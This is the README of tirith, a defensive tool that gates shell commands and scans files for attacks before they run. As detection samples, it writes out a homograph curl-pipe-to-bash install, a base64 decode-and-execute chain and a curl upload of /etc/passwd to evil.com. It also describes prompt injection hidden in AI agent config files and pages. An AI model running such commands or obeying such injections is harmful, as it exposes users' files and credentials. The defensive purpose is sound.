sheeki03/tirithPublic

Your browser would catch this. Your terminal won't.

Website | Docs | SKILL.md | Changelog | Releases

_{Independent open-source project, with hosting supported by the Vercel Open Source Program (Spring 2026 Cohort).}

Can you spot the difference?

  curl -sSL https://install.example-cli.dev | bash     # safe
  curl -sSL https://іnstall.example-clі.dev | bash     # compromised

You can't. Neither can your terminal. Both і characters are Cyrillic (U+0456), not Latin i. The second URL resolves to an attacker's server. The script executes before you notice.

Browsers solved this years ago. Terminals still render Unicode, ANSI escapes, and invisible characters without question. AI agents run shell commands and install packages without inspecting what's inside.

Tirith stands at the gate. It intercepts commands, pasted content, and scanned files for homograph URLs, obfuscated payloads, credential exfiltration, malicious AI skills/configs, and known-bad packages/domains/IPs from a signed threat intelligence database before they execute.

brew install tirith

Then activate in your shell profile:

# zsh
eval "$(tirith init --shell zsh)"

# bash
eval "$(tirith init --shell bash)"

# fish
tirith init --shell fish | source

That's it for interactive-shell coverage. Commands accepted by that shell are checked while the hook is loaded and healthy; exact blocking behavior depends on the shell and mode. Run tirith doctor after installation and upgrades, and read enforcement by shell before treating the hook as an authorization boundary. Clean commands stay silent and normally take the fast path.

Also available via npm, cargo, mise, apt/dnf, and more.

Homograph attack, blocked before execution:

$ curl -sSL https://іnstall.example-clі.dev | bash

tirith: BLOCKED
  [CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
    This is a homograph attack. The URL visually mimics a legitimate
    domain but resolves to a completely different server.
  Bypass: prefix your command with TIRITH=0 (applies to that command only)

The command never executes.

Pipe-to-shell with clean URL, warned, not blocked:

$ curl -fsSL https://get.docker.com | sh

tirith: WARNING
  [MEDIUM] pipe_to_interpreter, Download piped to interpreter
    Consider downloading first and reviewing.

Warning prints to stderr. Command still runs.

Base64 decode-execute chain, blocked:

$ echo payload | base64 -d | bash

tirith: BLOCKED
  [HIGH] base64_decode_execute, Base64 decode piped to interpreter
  [HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash

Catches decode chains through sudo/env wrappers and PowerShell -EncodedCommand too.

Credential exfiltration, blocked:

$ curl -d @/etc/passwd https://evil.com/collect

tirith: BLOCKED
  [HIGH] data_exfiltration, Data exfiltration via curl upload
    curl command uploads sensitive data to a remote server

Covers all curl/wget upload flags, env vars ($AWS_SECRET_ACCESS_KEY), and command substitution.

Malicious skill file, caught on scan:

$ tirith scan evil_skill.py

tirith scan: evil_skill.py, 3 finding(s)
  [MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
  [MEDIUM] obfuscated_payload, Long base64 string decoded and executed
  [MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument

Scans JS/Python files for obfuscated payloads, dynamic code execution, and secret exfiltration patterns.

Normal commands, invisible:

$ git status
$ ls -la
$ docker compose up -d

Nothing. Zero output. You forget tirith is running.

244 detection rules across 35 categories.

Tirith analyzes the structure of commands, pasted text, and files before they execute. It is a pre-execution gate, not a runtime defense, and does not cover:

• General runtime sandboxing: ordinary shell hooks and tirith check warn or block; they do not isolate a command after launch. The explicit capsule run --preset untrusted-project and enforcing pkg install paths provide fail-closed containment only on supported x86_64 Linux hosts.
• Post-execution network monitoring: what a process does on the network after launch is out of scope.
• General malware / payload detection: tirith is not an antivirus and does not detonate a payload. It analyzes structure and can match exact indicators and artifact/file hashes from the signed threat database, but an unknown payload is not proven benign by the absence of a match. (tirith run checks a downloaded script's structure; it is still not dynamic malware analysis.)
• A privileged root/admin attacker: anyone already root or admin can bypass tirith trivially. It defends against tricked input, not an attacker who already owns the machine.
• Anti-debugging / anti-tampering: tirith does not resist reverse engineering or protect its own binary from a local attacker.
• On-chain analysis: the Web3 guard reads command grammar. It does not read chain state, simulate a transaction, resolve ENS, score an address, audit a contract, or watch a mempool.
• An npm artifact firewall: tirith parses npm command grammar and registry identity facts, and can ask the project's own npm for its signature and provenance state. It does not download, extract, quarantine, or bind the tarball bytes npm installs. The contained, hash-pinned artifact firewall is Python-only.
• Browser forensics or monitoring: tirith browser audit is an explicit, one-shot, read-only integrity audit of extension source trees. It never reads cookies, history, saved passwords, storage, wallet databases, or Local State, never removes or quarantines anything, and has no daemon.
• Reproducible builds: an attest receipt records what two trees contained at one moment. Tirith does not run your build and cannot say the output came from the source. A deployment receipt is a point-in-time measurement, not continuous monitoring.

See docs/threat-model.md for the full threat model and explicit non-goals, and docs/enforcement-coverage.md for a capability-by-capability ledger of what tirith detects, decides, enforces, contains, and attests.

• Shell-hook fragility: protection depends on a shell hook staying installed and active. Hooks can break or silently degrade across shells, shell versions, prompt frameworks, and history tools. Run tirith doctor to check live state and watch for warn-only degradation.
• Full or read-only temporary storage: zsh and fish capture input through a scratch file before invoking Tirith and fail closed when that file cannot be created. A full/read-only TMPDIR can therefore refuse every command, and TIRITH=0 cannot recover because the binary is never reached. Follow the recovery steps in troubleshooting.
• Platform-limited features: daemon mode, tirith run, and tirith fetch are Unix surfaces. tirith run --no-exec remains an inspection workflow there, but live remote-script execution is Linux-only and refuses before download on every other host. tirith setup is cross-platform, while each host integration has its own platform contract (for example Cline has POSIX and Windows wrappers; OpenHands' blocking hook is Unix-only).
• Package-name extraction scope: covers language ecosystems (pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), not distro package managers (apt, dnf, yum, pacman).
• AI-agent caveats: shell-hook interception only guards commands that go through a hooked interactive shell. An agent that spawns a non-interactive shell, calls exec directly, or runs without the hook loaded is not covered by that layer. MCP registration is cooperative unless calls are routed through the gateway. A supported pre-tool hook can automatically withhold a host command, but only when that host loaded and honored it; several hosts fail open when a hook process errors. Verify the effective host, not just the presence of a config file.
• Host-hook failure behavior: Grok Build, Cline, and OpenHands allow the tool when their hook process crashes or times out. Tirith's adapter denies on its own errors by default, but it cannot make a host honor a process that did not return. Re-run setup if a pinned interpreter moves and test the real host after every upgrade.
• Prime Agent IPython is source-level extraction: the guard covers shell escapes/magics and common os, subprocess, and pty.spawn forms, but it is not a Python runtime sandbox. A wrapper defined in an earlier cell, reflection such as getattr/__import__, or a third-party package that spawns a process can escape what a source lexer can prove.
• Custom-DLP and machine output: broad dlp_custom_patterns can currently rewrite protocol-owned string values in recursively redacted JSON/MCP projections, including generated identifiers or receipt metadata. Avoid patterns that can match structural values when consuming signed or machine-stable output; this needs field-aware redaction before release.
• Unattended install approval: tirith install --yes is accepted as the package-manager task gate's unattended require_approval channel. It is an explicit operator flag, not proof of a human TTY confirmation. Use a blocking task policy where unattended execution must be impossible.
• Interpreted MCP binding: exact interpreted-server binding hashes the repository tree under fixed caps instead of discovering a true dependency closure, so large trees, symlinks, or special files can refuse launch. It revalidates before spawn but does not execute interpreter inputs from sealed reviewed descriptors; concurrent same-user mutation remains a verify-to-load gap.
• Task-gate coverage: task effect inference models the Web3 shell grammar and nothing else, so nearly every ordinary SHELL command is reported INCOMPLETE. task_gate.mode: enforce with action_incomplete_analysis: block refuses those at the five boundaries that submit a shell envelope, and changes nothing at the four package and config-write boundaries, which always assess as complete. warn is the default. The alternative, effects_denied_for_untrusted_sources, denies the named effect on every call at every owned boundary, including commands you typed yourself, because no source at those boundaries is ever treated as trusted.
• Containment is x86_64 Linux: tirith capsule run --preset untrusted-project and enforcing tirith pkg install are enforceable only on x86_64 Linux with a usable Landlock ABI. Every other host refuses before anything is copied or spawned, with no degraded fallback. Domain allow-listing is not offered by any backend.
• Nested-shell exfiltration gap: a sensitive read inside a nested shell body whose sink is outside it, such as bash -c "cat <wallet>" | curl -d @- <url>, is not correlated today. The same chain wholly inside or wholly outside the -c body is detected.
• Execution-evidence grades: a Linux launch is confirmed only after its stopped exec transition, durable state update, authorized resume, and terminal launcher proof all complete. A gateway call is confirmed only by an exact correlated result. Shell observations and forwarded gateway calls that time out or are cancelled remain conservative unresolved evidence, never confirmed execution. Strict shell receipts are available for interactive bash, zsh, and fish; PowerShell remains preflight-only. Native Linux launcher behavior must be verified by Linux CI or a native Linux host; neither portable source/unit coverage nor a macOS build can substitute.
• Web3 coverage gaps: forge create is not yet modelled on engine surfaces; several declared web3_guard fields are parsed but not enforced; and schema-2 command-card Web3 bindings do not yet have a CLI authoring or live engine-consumption path. Treat these as known gaps, not silent authorization.

Tirith ships a signed local threat database for package, hostname, and IP reputation. When a shell hook or tirith check sees a package install or suspicious infrastructure reference, it matches that input against the database before the command executes, instead of relying only on static heuristics.

Signed DB (built by CI, verified on download and load):

• Known-malicious packages from OpenSSF Malicious Packages and Datadog Security Labs
• Malicious IP infrastructure from Feodo Tracker (abuse.ch)
• Confirmed typosquats and popular-package baselines from ecosyste.ms
• CISA Known Exploited Vulnerabilities catalog for runtime advisory correlation

ThreatDB v2 adds exact artifact SHA-256 values, installed-file hashes, malicious URLs, campaign membership, and behavior tags. The signed index, updater, compiler, and loader support v1 and v2 during the staged cutover, reject sequence rollback, publish transactionally, and retain a signed last-known-good database when an update is incomplete or invalid. The DigitalSide source is implemented but intentionally inactive until its freshness and operating contract are approved.

Optional supplemental feeds (user-local overlay):

• URLhaus and ThreatFox via an abuse.ch auth key
• PhishTank (Cisco Talos) and Phishing Army blocklists
• Tor exit node list from Tor Project

Optional live enrichment during tirith check and daemon mode:

• OSV.dev advisory lookups (Google OSS)
• deps.dev package health signals (Google OSS) and ecosyste.ms maintainer data
• Google Safe Browsing URL reputation with your own API key

tirith threat-db update              # download + verify the signed DB
tirith threat-db status              # age, signature, version, entry counts
tirith threat-db health              # install, signature, staleness, counts
tirith threat-db sources             # list every feed the DB is built from
tirith threat-db explain react       # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01   # count changes since a version/date

By default, shell hooks and tirith check trigger a cheap background refresh check every 24 hours. Daemon mode keeps the same enrichment path warm in the background.

threat-db explain accepts a domain, a package name (name, ecosystem:name, or name@version), or an IPv4 address. The binary retains no per-entry history, so threat-db diff reports category and per-source count deltas between snapshots, not the exact entries changed. Every threat-db command takes --format json; threatdb is an alias.

tirith package risk <ecosystem> <name> scores a package's supply-chain / maintainer risk the way tirith score scores a URL, a deterministic, fully explainable sum of named factors, no model and no learned weights. tirith package explain <ecosystem> <name> adds the factor-by-factor derivation; both take --format json.

tirith package risk npm react           # 0/100, a known-popular package
tirith package risk npm reqeusts        # high, one edit from a popular name
tirith package explain pypi flask       # factor-by-factor derivation
tirith package risk npm left-pad --path ./node_modules/left-pad
tirith package risk --online npm react  # also consult the registry API

Offline by default. With no flags, every signal is local, with no network call: (1) name vs. popular packages: known-popular, unknown, or a one-edit near-miss of a popular name (the classic typosquat/slopsquat shape), from the local threat database's popular set; (2) known malicious typosquat: an exact match in the threat DB's typosquat index; (3) install / lifecycle scripts and (4) bundled binary blobs, detected only when the package content is locally available (under node_modules / site-packages, or via --path). tirith never downloads the package.

--online adds registry provenance. It consults the package's registry (npm, PyPI, or crates.io) for six more factors in the same factor-sum model: package/version age, an established package with no owners, an abnormal version spike, very low downloads, a missing source repo, and yanked/deprecated status. It is the only path on which package risk itself reaches the network; tirith check and daemon mode have a separate, policy-controlled runtime enrichment path. --offline / TIRITH_OFFLINE force this scorer offline regardless. Failures fall back to the offline score with an honest api signals: unavailable, and responses are cached with a TTL so repeated runs do not hammer the registries.

The score is advisory and standalone: package risk is not a detection rule and changes no verdict, exit code, or audit log.

tirith ecosystem scan [path] is the directory-level companion to package risk. It walks a project, discovers every dependency manifest it understands, npm (package.json, package-lock.json), Python (requirements*.txt, pyproject.toml), Rust (Cargo.toml), Go (go.mod), Ruby (Gemfile), and scores every declared dependency with the same deterministic package_risk factor engine.

tirith ecosystem scan                       # scan the current project
tirith ecosystem scan ./my-project          # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./      # full machine-readable report

It folds in slopsquat detection. Slopsquatting is the registration of a plausible-but-fake name that LLMs tend to hallucinate as a dependency. ecosystem scan flags one only when all three hold: the name is not known-real or popular, it is shaped like an AI hallucination (a language prefix like python- / node- plus descriptive tokens, a stack of generic filler like helper / utils / client, or an unusually long name), and it sits near a real popular name (a one-edit near-miss, or it embeds a popular name as a word). Requiring all three keeps false positives low: an honest data-utils with no popular anchor does not fire.

Offline by default, opt-in --online. Name and typosquat signals come from the local threat database; --online adds registry provenance, gated and degraded exactly as package risk --online. This flag controls the ecosystem scan and does not alter tirith check's independent runtime-enrichment policy. Findings flow through tirith's normal Verdict / Finding model: explainable (tirith explain --rule threat_suspicious_package), audit-logged, and respecting the policy allowlist (an allowlisted package, by bare name or ecosystem:name, is suppressed). Exit codes match tirith scan: 1 for a blocking finding, 2 for advisory, 0 when clean.

This helps catch known-malicious packages, confirmed typosquats, slopsquatted package names, malicious download infrastructure, and packages with live OSV / CISA KEV advisory data.

Package-name risk is only one layer. Tirith can inspect the exact Python bytes you already have and, on supported hosts, enforce a hash-pinned install plan:

# Local evidence: never downloads an artifact
tirith package inspect --artifact dist/example-1.0-py3-none-any.whl
tirith package inspect --artifact-set ./downloaded-wheels
tirith package inspect --installed ./.venv

# Enforcing pip workflow: x86_64 Linux only
tirith pkg trust-tool /absolute/path/to/static-uv
tirith pkg approve pip requests==2.31.0 --target .tirith-pkg
tirith pkg install pip requests==2.31.0 --target .tirith-pkg
tirith pkg verify-env --target .tirith-pkg requests

Inspection covers wheel structure and identity, RECORD integrity and file ownership, Python startup hooks, native ELF/Mach-O/PE extensions, execution edges, and loader/payload splits across distributions. pkg graph, pkg diff, pkg attest, and pkg receipt expose the corresponding provenance and receipt evidence.

The enforcing path supports pip on x86_64 Linux only and requires the documented native authority, a newly dedicated target directory, and an enrolled fully static native uv. Every unsupported platform fails closed before pip starts; it never falls back to an ordinary install. npm and Cargo remain non-enforcing evidence surfaces. See the 0.4.0 release notes and command reference.

Attack families tirith is built for (illustrative, not a caught-by-current-code claim):

Package-name extraction currently covers language ecosystems (pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), not distro-level package managers (apt / dnf / yum / pacman). That's why xz-utils, which entered through Linux distro tarballs, is not in the table despite being a headline incident.

Tirith adds several independent protection layers around AI coding agents: config scanning, cooperative MCP tools, an MCP gateway, interactive-shell hooks, and host-native pre-tool hooks where the host exposes a documented blocking contract. Coverage depends on which layer the host actually loads.

When an AI agent executes through a hooked interactive shell (Claude Code, Codex, Cursor, etc.), tirith's shell hook checks that interactive command before the shell accepts it. This does not cover a non-interactive shell, a direct exec, or an agent process that never loaded the hook:

• Blocks dangerous commands: homograph URLs, pipe-to-shell, insecure downloads
• Blocks malicious paste: ANSI injection, bidi attacks, hidden multiline in pasted content
• Agent-independent interactive gate: no agent-specific integration is needed when that agent actually uses the protected interactive shell
• Zero agent modification: the agent doesn't know tirith exists until a command is blocked

Use tirith setup <tool> for one-command configuration (see AI Agent Integrations).

Run tirith mcp-server or use tirith setup <tool> --with-mcp to register tirith as an MCP server. AI agents can call these tools before taking action:

The default tools/list is a frozen compatibility contract, because clients cache it and a tool that appears unannounced changes what an agent believes it may call. A preview tool, tirith_check_task, is therefore not advertised by default: run TIRITH_MCP_PREVIEW=1 tirith mcp-server to advertise it, and without that opt-in a client that calls it by name is refused by name. See docs/task-envelope.md.

tirith mcp lock captures every MCP server a repository declares, across .mcp.json / mcp.json / mcp_settings.json and the IDE config variants (.vscode/, .cursor/, .windsurf/, .cline/, .amazonq/, .continue/, .kiro/), into a deterministic lockfile at .tirith/mcp.lock. Each server is recorded with its transport (a remote URL, or a local command + args), declared tools, coverage metadata, and a content hash; servers are sorted by name/source so the lockfile is diff-friendly. Ambiguous or credential-bearing declarations are refused instead of copied into source control. Environment values and URL userinfo are represented only by fixed presence markers, never by raw values or deterministic hashes: adding/removing a variable or userinfo still drifts, while secret rotation intentionally does not. V7 lockfiles require one explicit re-lock to migrate to this v8 privacy model. Discovery is repo-local only and touches no network. (tirith mcp is a separate command group from tirith mcp-server, which runs tirith as an MCP server.)

tirith mcp verify is the gating companion: it rebuilds the current inventory against the committed lockfile and exits 1 on drift or incomplete/rejected config coverage (0 match, 2 on usage errors like a missing lockfile). tirith mcp diff reports the same drift informationally (always exit 0, 2 only on usage errors, so a consumer can tell "no drift" from "could not check"). Drift also surfaces through tirith scan as mcp_server_drift (Medium or High), so a pre-commit hook or CI catches an MCP-surface change the way it catches an un-pinned action. verify / diff never print env values or URL userinfos, only the names of what changed.

Two policy fields govern what is accepted. Both are keyed by an opaque mcp:v1:... identity binding source path, server name, and transport: scan.trusted_mcp_servers suppresses that exact server's config findings and drift, while scan.mcp_allowed_tools declares the exact tools it may expose. Bare names intentionally match nothing, so a same-named server in another config cannot inherit trust. An explicit tool allow-list also requires an operator-approved live descriptor set and checks both static declarations and live descriptor names. Run tirith mcp policy init to scaffold the exact keys into .tirith/mcp-policy.yaml.example, then use the gateway's --mcp-server-identity ... --approve-descriptors flow to capture an inspected tools/list baseline atomically. Every scaffold entry is commented out so importing never silently widens trust.

tirith scan detects prompt injection and hidden payloads in AI config files. It prioritizes and scans 50+ known AI config file patterns:

• .cursorrules, .windsurfrules, .clinerules, CLAUDE.md, copilot-instructions.md
• .claude/ settings, agents, skills, plugins, rules
• .cursor/, .vscode/, .windsurf/, .cline/, .continue/, .roo/, .codex/ configs
• mcp.json, .mcp.json, mcp_settings.json
• .github/copilot-instructions.md, .github/agents/*.md

What it catches in configs:

• Prompt injection (skill activation triggers, permission bypass attempts, safety dismissal, identity reassignment, cross-tool override instructions). Each file is scanned both raw and deobfuscated (invisible characters, confusables, inter-character spacing, leetspeak, short base64 / hex), so a seed hidden behind encoding still fires
• Invisible Unicode: zero-width characters (including Mongolian Vowel Separator), bidi controls, soft hyphens, Unicode tags, Hangul fillers, invisible whitespace encoding, math alphanumeric confusables
• MCP config issues: insecure HTTP connections, raw IP servers, shell metacharacters in args, duplicate server names, wildcard tool access

tirith scan also inspects the files a repo checks in to describe its own build and deploy pipeline. It detects the dangerous pattern, not the tool: a SHA-pinned action, a digest-pinned image, a local Terraform module, and a normal package.json stay clean.

What it catches in CI / infrastructure files:

• GitHub Actions workflows (.github/workflows/*.yml), an action uses: reference pinned to a mutable ref (@v3, @main) instead of a commit SHA; the pull_request_target trigger; a curl … | bash pipe-to-shell in a run: step; an attacker-controllable ${{ github.event.* }} value interpolated into a run: shell step (script injection)
• Dockerfiles: a FROM base image on the mutable latest tag (or no tag) with no @sha256: digest pin
• Terraform (*.tf), a module block sourced from a remote / untrusted location rather than a local path or the Terraform Registry
• Helm charts (Chart.yaml), a chart dependency from an untrusted chart repository
• package.json: a preinstall / install / postinstall lifecycle script that runs a dangerous command (pipe-to-shell, obfuscated payload, download-and-run); these hooks run automatically on npm install

Three built-in --profile values tune the scan: ci-hardening (every check at full strength, fail-on high), ai-agent-repo (keeps injection findings, drops low-value pinning-hygiene noise), and oss-maintainer (emphasises contributor-controllable risk when reviewing a change).

tirith scan ./                          # scan the repo
tirith scan --profile ci-hardening ./   # tune for CI/CD hardening
tirith scan --format sarif ./ > out.sarif

Detects content invisible to humans but readable by AI in HTML, Markdown, and PDF:

• CSS hiding: display:none, visibility:hidden, opacity:0, font-size:0, off-screen positioning
• Color hiding: white-on-white text, similar foreground/background (contrast ratio < 1.5:1)
• HTML/Markdown comments: prompt injection phrases (High), destructive commands like rm -rf or curl|bash (Medium), long comments hiding instructions (Low)
• PDF hidden text: sub-pixel rendered text (font-size < 1px) invisible to readers but parseable by LLMs

tirith scan also inspects file types an AI coding agent (or a renderer) reads and acts on, looking for content smuggled past a human reviewer. A normal notebook, an ordinary CLAUDE.md with visible instructions, and a plain SVG image stay clean, only hidden / smuggled content fires.

• Jupyter notebooks (*.ipynb), invisible / bidi / zero-width characters in cell source, a base64-encoded blob embedded in source, a cell hidden from the rendered view (metadata.jupyter.source_hidden / a hide_input tag), and cell outputs carrying invisible characters or active / hidden HTML
• AI agent-instruction files (CLAUDE.md, AGENTS.md, .cursorrules, and similar), hidden directives only: an instruction inside an HTML comment (invisible in rendered Markdown) or a visually-hidden HTML element. These files legitimately contain visible instructions, so ordinary visible instructions never fire
• SVG images (*.svg), an embedded <script>, an inline on* event handler, a javascript: URI, a remote xlink:href / href, or an XXE external-entity declaration

tirith fetch compares server responses across 6 user-agents (Chrome, ClaudeBot, ChatGPT-User, PerplexityBot, Googlebot, curl) to detect when servers serve different content to AI bots vs browsers.

Beyond single commands, several command groups extend the gate to your operating context and workstation state. The ones that touch the hot path are opt-in (a policy flag); the rest run on demand.

Operational context (tirith context, ssh, iac, sudo). Label your prod cloud / Kubernetes contexts and SSH hosts once, and tirith escalates what matters: a destructive command against a labeled-prod context, an SSH to a labeled-prod host, a Terraform / Pulumi / OpenTofu apply with no matching saved plan, or a sudo escalation without a reasoned session window. Labels live in ~/.config/tirith/context-labels.yaml and ssh-host-labels.yaml (or repo-scoped under .tirith/).

Workstation hygiene (tirith hygiene, persistence, aliases, env, exec, path, hooks). Scan for loose-permission credential files and plaintext tokens (~/.ssh, ~/.aws, ~/.kube, .npmrc, .pypirc), diff the persistence footholds an attacker uses (shell rc, authorized_keys, crontab, LaunchAgents / systemd-user units, git core.hooksPath), flag aliases that shadow critical commands or read credentials, audit $PATH for hijack ordering, and report a binary's provenance (package owner, code signature, whether it shadows a system command).

Blast radius & isolation (tirith preview, watch, temp-run, taint, intend, baseline). Preview the filesystem impact of a destructive command before you run it, diff what a command actually changed afterward, run an untrusted command in a throwaway directory, and track files downloaded from risky sources so executing one later fires a finding. temp-run changes only the working directory; it is file isolation, not a sandbox.

• Command attestations (tirith command-card) sign a known-good command with an ed25519 key; a trusted card that no longer matches the command fires High.
• Repo command manifest (tirith commands) is a .tirith/commands.yaml allowlist that quiets the unknown-command note for cleared commands and adds an elevation-only dangerous[] list (it can tighten a verdict, never weaken one).
• Honeytokens (tirith canary) plant clearly-synthetic canary tokens; a touch in any checked command, paste, or tool output fires High. Detection is a local store lookup, not a shape match.
• Secret rotation (tirith secret) reads recent credential findings from your audit log and prints provider-specific rotate / revoke steps for 11 providers. It never rotates anything itself and makes no network calls.
• Incident mode (tirith incident) declares an "under attack" posture: it forces fail_mode: closed, disables the TIRITH=0 bypass, and elevates the credential-sweep, decode-execute, and suspicious-binary rules until you stop it.

• Output-direction defense (tirith view, tirith output, gateway run --filter-output, and secure-by-default mcp-server) neutralizes terminal-deception escapes in command, MCP tool, and resource-read output: OSC 52 clipboard writes, fake prompts, OSC 8 hyperlink mismatch, and title / clear-screen manipulation. It also scans output for prompt injection (raw and deobfuscated) and data-exfiltration beacons. Add custom seeds with injection_seeds_custom, and opt in to redacting an injection-only MCP block to a warning (instead of blocking the whole output) with mcp_redact_injection. The legacy mcp-server --unsafe-unsanitized-tool-output escape hatch is not recommended.
• Audience-aware redaction (tirith share, tirith redact, tirith logs) strips secrets and customer / tenant IDs before you paste into a GitHub issue, Slack, an LLM, or a public paste.
• Paste provenance (tirith paste --with-source, tirith browser). With the companion Chrome native-messaging host installed, tirith attributes a pasted command to its source page and flags a paste whose source host differs from where the command runs.

Homebrew:

brew install tirith

Debian / Ubuntu (.deb):

Download from GitHub Releases, then:

sudo dpkg -i tirith_*_amd64.deb

Fedora / RHEL / CentOS 8+ and Amazon Linux 2023 (.rpm):

Download from GitHub Releases, then:

sudo dnf install ./tirith-*.rpm

The Linux GNU release binaries target a GLIBC 2.28 ceiling. CI runs both x86_64 and aarch64 tarballs on AlmaLinux 8, Amazon Linux 2023, and Rocky Linux 9; the .deb and x86_64 .rpm contain those same canonical binaries.

Arch Linux (AUR):

yay -S tirith
# or: paru -S tirith

Nix:

nix profile install nixpkgs#tirith              # from nixpkgs
nix profile install github:sheeki03/tirith      # from upstream flake
# or try without installing: nix run github:sheeki03/tirith -- --version

Android/Termux runs on Bionic libc, not glibc, so the aarch64-unknown-linux-gnu build cannot run there, it needs glibc's dynamic linker. Use the musl build instead: tirith-aarch64-unknown-linux-musl.tar.gz is statically linked and runs on Termux without an external libc.

# In Termux:
pkg install curl tar
# Download the musl build from the latest GitHub release:
curl -fsSL -o tirith.tar.gz \
  https://github.com/sheeki03/tirith/releases/latest/download/tirith-aarch64-unknown-linux-musl.tar.gz
tar xzf tirith.tar.gz
install -Dm755 tirith "$PREFIX/bin/tirith"
tirith --version

Then activate the shell hook in ~/.bashrc (Termux's default shell is bash):

eval "$(tirith init --shell bash)"   # add to ~/.bashrc

Windows supports detection, scanning, webhooks, policy management, audit uploads, and tirith setup. The PowerShell hook provides PSReadLine preflight interception, but it does not claim a strict post-accept execution receipt. Live remote-script execution and daemon mode remain unavailable on Windows.

Scoop:

scoop bucket add tirith https://github.com/sheeki03/scoop-tirith
scoop install tirith

Chocolatey (community repository):

choco install tirith
# Upgrade an existing Chocolatey installation:
choco upgrade tirith

Chocolatey moderation can lag the GitHub release. Run choco info tirith to see the currently approved version. Use Scoop or a signed artifact from GitHub Releases when the newest release is required before Chocolatey moderation finishes.

npm:

npm install -g tirith

Cargo:

cargo install tirith

Mise (official registry):

mise use -g tirith

asdf:

asdf plugin add tirith https://github.com/sheeki03/asdf-tirith.git
asdf install tirith latest
asdf global tirith latest

Docker:

docker run --rm ghcr.io/sheeki03/tirith check -- "curl https://example.com | bash"

Add to your shell profile (.zshrc, .bashrc, or config.fish):

eval "$(tirith init --shell zsh)"   # in ~/.zshrc
eval "$(tirith init --shell bash)"  # in ~/.bashrc
tirith init --shell fish | source   # in ~/.config/fish/config.fish

Bash uses enter mode when a capability self-test has proven it works for your bash, and preexec otherwise. Since 0.4.1 that self-test passes on stock GNU bash, so enter mode is the ordinary outcome once tirith setup or tirith doctor has run it; the shell hook reads the cached verdict at startup. See troubleshooting for details on the modes, the self-test, and SSH fallback behavior.

macOS's system Bash 3.2 remains a compatibility path, not the modern blocking baseline. Its DEBUG-trap behavior can prevent the trampoline from sticking; Tirith announces the resulting degradation when its heartbeat can observe it, which may be one command later. Use Bash 5+ or a proven enter-mode path when a strict Bash authorization gate is required.

For line-level blocking on bash, run tirith doctor --simulate-enter; if delivery works, enter mode is enabled. Where it does not, use preexec enforce for "blocks when possible; tells you honestly when it can't."

Interactive bash, zsh, and fish use a protocol-v3 execution receipt after the preflight decision. At hook load, they resolve and pin one absolute Tirith executable and register a one-time capability bound to the live shell process, shell family, session, user, and executable identity. A receipt then moves through Prepared, Armed, Consuming, and a terminal Committed/Conflict/Discarded state. This improves attribution and replay resistance, but shell evidence is deliberately recorded as unresolved rather than proof that every command component executed. Tirith itself owns any approval or warning-acknowledgement prompt before returning an armed receipt; the hook cannot attach those facts later. Zsh and fish consume the armed receipt synchronously in the same line-acceptance handler and hand the command to the native shell only after that transition succeeds. PowerShell has preflight blocking without this strict receipt protocol.

A nested shell receives its own process-bound capability even when it inherits the session ID. Re-sourcing the hook in the same process never mints another bearer. If exec replaces a live shell without changing its PID/start identity, the replacement cannot recover the deliberately non-exported bearer and runs in visibly degraded legacy mode; start a fresh terminal or child shell to restore strict receipts. exec "$SHELL" is not a receipt-protocol restart because it preserves that process identity.

Nix / Home-Manager: tirith must be in your $PATH when the hook is sourced. Bash, zsh, and fish then pin that resolved executable for the shell session; restart the shell after replacing or upgrading the binary. Adding it to initContent alone is not enough.

home.packages = [ pkgs.tirith ];

programs.zsh.initContent = ''
  eval "$(tirith init --shell zsh)"
'';

tirith can verify its own integrity and update itself. Both commands reach the network only when you run them.

tirith verify-self          # is this binary the genuine, unmodified release?
tirith update               # update to the latest release
tirith version --provenance # version, build info, install method, verification

tirith verify-self confirms the running binary is the genuine, unmodified binary from an official release. It re-downloads the release archive for your version and target, verifies it against the signed release checksums.txt, verifies the cosign signature over checksums.txt when cosign is installed, and confirms the running binary is byte-identical to the official one. If full verification is not possible, a local dev build, no network, an install tirith cannot identify, it says so honestly rather than reporting a false "verified". With cosign absent the checksum is still verified (reported as verified-checksum-only); install cosign for full signature verification (verified-signed).

tirith update is package-manager-aware:

• Package-manager installs (Homebrew, cargo, npm, Scoop, AUR, apt/dnf) are never self-modified. tirith prints the exact command to run instead, e.g. brew upgrade tirith. Updating through the package manager keeps its database consistent.
• Self-replaceable installs (the install.sh tarball, a standalone binary, or a securely owned Tirith release cached under a Hermes root (HERMES_HOME, or ~/.hermes when that variable is unset; Unix only)) are updated in place: tirith downloads the latest release, verifies it, then atomically swaps the binary, keeping the previous one as a tirith.tirith-previous sidecar. The cosign signature is verified by default: if it cannot be verified (cosign missing, or the release published no signature) the update aborts. Pass --allow-unsigned to fall back to checksum-only verification; a checksum mismatch always aborts regardless. tirith update --rollback reverts to the previous binary; --dry-run shows what would happen without changing anything. Updates remain explicit: Tirith never checks for or installs a new binary in the background.

Oh-My-Zsh:

git clone https://github.com/sheeki03/ohmyzsh-tirith \
  ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/tirith

# Add tirith to plugins in ~/.zshrc:
plugins=(... tirith)

Use tirith setup <tool> for one-command configuration. This is the complete named setup surface, including both the earlier integrations and the additions released in 0.4.0: